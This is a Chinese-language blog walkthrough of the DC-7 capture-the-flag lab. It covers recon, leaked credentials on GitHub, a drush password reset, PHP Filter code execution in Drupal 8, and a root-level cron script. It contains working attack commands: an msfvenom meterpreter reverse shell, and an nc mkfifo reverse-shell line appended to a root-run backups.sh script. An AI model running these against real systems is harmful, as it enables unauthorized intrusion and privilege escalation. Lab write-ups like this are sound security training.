靶机地址
难度:未定义
博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]
工具、知识点和漏洞
netdiscover
nmap
msfvenom
metasploit
一、信息收集
靶机IP:192.168.0.110
netdiscover -r 192.168.0.0/24
端口和服务
nmap -sS -sV -T4 -A -p- 192.168.0.110
查看robots.txt,没有什么可利用的
OpenSSH 7.4p1 无漏洞
CMS:Drupal 8
尝试利用CVE-2018-7600漏洞,无果。
https://www.exploit-db.com/exploits/44482
Github上应该有针对Drupal的漏扫工具吧
-
droopescan
默认用户admin
-
drupwn
这个工具扫的很慢,专门针对Drupal 7|8,但是Users结果*****是什么鬼扫描二维码关注公众号,回复: 8716813 查看本文章
python3 drupwn --users --nodes --modules --dfiles --themes enum http://192.168.0.110
常见弱口令登录一下,结果发现后台限制了5次登录失败会被暂时锁定……
页面、目录枚举,无果
按理来说,面对这种知名的CMS,是不应该进行页面、目录枚举的,但是谁让这个网站这么不一般呢?
dirb http://192.168.0.110 -X .php,.txt,.zip,.html
python3 dirsearch.py -u http://192.168.0.110 -e .php,.txt,.zip,.html
gobuster dir -u http://192.168.0.110/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -x .php,.txt,.html,.zip
二、转机
令人尴尬的局面~
看看靶机的介绍是怎么说的,一般不按套路出牌的话作者都会在靶机的介绍里给那么一点提示
打开网站首页仔细看了看,发现了一点"异常"
一般搭建完的Drupal,在没有经过DIY的情况下,是长这样的
而靶机的是长这样的
重点看首页的
footer
部分,也就是网页的最下方的黑色区域
,靶机的除了"Powered by Drupal
",还多了一个"@DC7USER
"。
啥也不说了,Google搜索"@DC7USER"
最终到了staffdb项目https://github.com/Dc7User/staffdb
,这不会是要代码审计吧,从项目的名称staffdb
来看应该不是的,拆开来看是staff db,也就是员工数据库,说不定是有员工的账号、密码
config.php
被我盯上了,这个配置文件里面应该有惊喜!!!
得到用户名dc7user
密码MdR3xOgB7#dW
,试试能不能登录网站后台,结果不行。
难道是靶机的用户名和密码?SSH登录试一下,结果就进去了,干的漂亮
登录成功之后休息了一会儿,回来之后提示有一封邮件,查看一下邮件
cat /var/mail/dc7user
看到是个计划任务:自动备份数据库的执行情况,调用的脚本是/opt/scripts/backups.sh
,貌似还是root权限执行的。如果当前用户有脚本的写入权限,那么应该就可以提权了。查了一下www-data
和root用户才能修改。
改是不能改,但看还是能看的~
从头到尾读了一遍脚本的内容,发现除了drush
、gpg
,其他命令都知道是干啥的
Drush (DRUpal SHell) is a computer software shell-based application
used to control, manipulate, and administer Drupal websites. On
the surface, drush is a tool for updating site modules, however Drush
has a more comprehensive list of features.
简单来说就是专门用来管理Drupal站点的shell
通过上图中的命令我们可以设置任意用户的密码,在最开始的信息收集
阶段,我们知道这个站点有一个默认的用户:admin,这应该是Drupal CMS最高权限的账户了。尝试修改admin的密码
从
backups.sh
中我们看到,使用drush
备份数据库的时候,先切换目录至/var/www/html
,所以我们也先切换目录至/var/www/html/
drush user-password admin --password="newpassword"
提示修改成功,用admin/newpassword登录后台,结果之前登录失败5次,还给我锁着呢……下面是官方的解决方案
直接删了flood表的所有数据似乎有点残忍,还是只删admin相关的,猜测admin的UID应该是1,Google搜索"Drupal admin uid"发现确实是1。但是语句在执行的过程中总是出错,最后还是直接将flood表数据整个删除了~~ (个_个)
drush php-eval 'db_query("DELETE FROM 'flood'");'
三、Drupal反弹shell
Drupal反弹shell的方法,参见164-drupal-to-reverse-shell
整个流程:在Content
中新建一个Basic page
,然后在Title
输入页面的名称,在Body
中放入反弹shell的PHP代码,Text format
的位置选择PHP code
。这些都弄好了之后,在kali上监听端口,最后点击Preview
按钮。但是从上图中可以看到Text format
里面没有PHP code
选项。
Google搜索"drupal 8 PHP code",找了半天没找到跟上面那个教程里面一样的添加方式。最后找到了官方的解释:PHP Filter module removed from Drupal core
Enabling this module can cause security and performance issues as it allows users to execute PHP code on your site. There are better alternatives out there that do not expose such vulnerabilities on your site.
The PHP Filter module has been removed from Drupal Core and moved to a contributed module at http://drupal.org/project/php .
原来出于安全考虑,PHP Filter
已经从Drupal核心中移除,后续作为一个module
存在,可以通过手动安装。
在上图Downloads的位置下载PHP Filter模块的压缩文件,然后手动安装模块。
根据提示启用PHP Filter
模块,随后在Content中添加webshell.php,流程如下:
点击Add content
点击Basic page
将shell代码填入Body
,我这里是使用msfvenom生成的php shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=1234 -f raw
关于msfvenom自动补全,可以看msfvenom-zsh-completion
Text format
选择PHP code
完了之后放着别动,先使用metasploit监听端口
回到上一步,点击Preview
按钮。正常来说到这里msfconsole上已经接收到shell。结果我这里没有任何反应,检查了一下PHP Filter模块已经启用,而且admin所在的用户(隶属于Administrator
组)也有权限使用PHP Filter
。
在Content
新建了一个test Basic page
,内容是<?php phpinfo(); ?>
,如果正常的话,显示的应该是php环境相关的信息。而我这里显示的确实源代码。
重新看了一下这篇Dupal反弹shell的文章,看到作者也遇到了相同的问题
I’d gone through this exercise a couple of times and it seemed that on the first instance of selecting preview, I did not get PHP to render. Perhaps we need to change the Text format in advance of entering PHP or maybe it’s just this particular install being buggy. Just pointing that out in case it doesn’t work the first time around.
译文:我已经进行了几次练习,似乎在选择预览的第一个实例中,我没有得到PHP的渲染。
也许我们需要在输入PHP之前先更改文本格式
,或者可能只是因为这种特殊安装有问题。只是指出这一点,以防第一次出现问题。
我尝试先更改Text format为PHP code
,后输入PHP代码
,随后点击Preview
,然后成功执行了phpinfo()
函数。
使用相同的方法反弹webshell
四、backups.sh提权
回忆一下之前获得信息:有一个root
权限执行的计划任务,调用了backups.sh
脚本,而这个脚本只有root和www-data
用户可以修改。
我们使用Drupal反弹回来的shell用户正是www-data
,所以接下来就是将反弹shell的代码附加到backups.sh脚本中(因为计划任务是root权限执行的,反弹回来的shell也会是root用户),然后在kali中监听相应端口,等待计划任务的执行。
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.108 4444 >/tmp/f" >> backups.sh
如果您有其他的方法,欢迎留言。若文中有任何错误,恳请批评指正。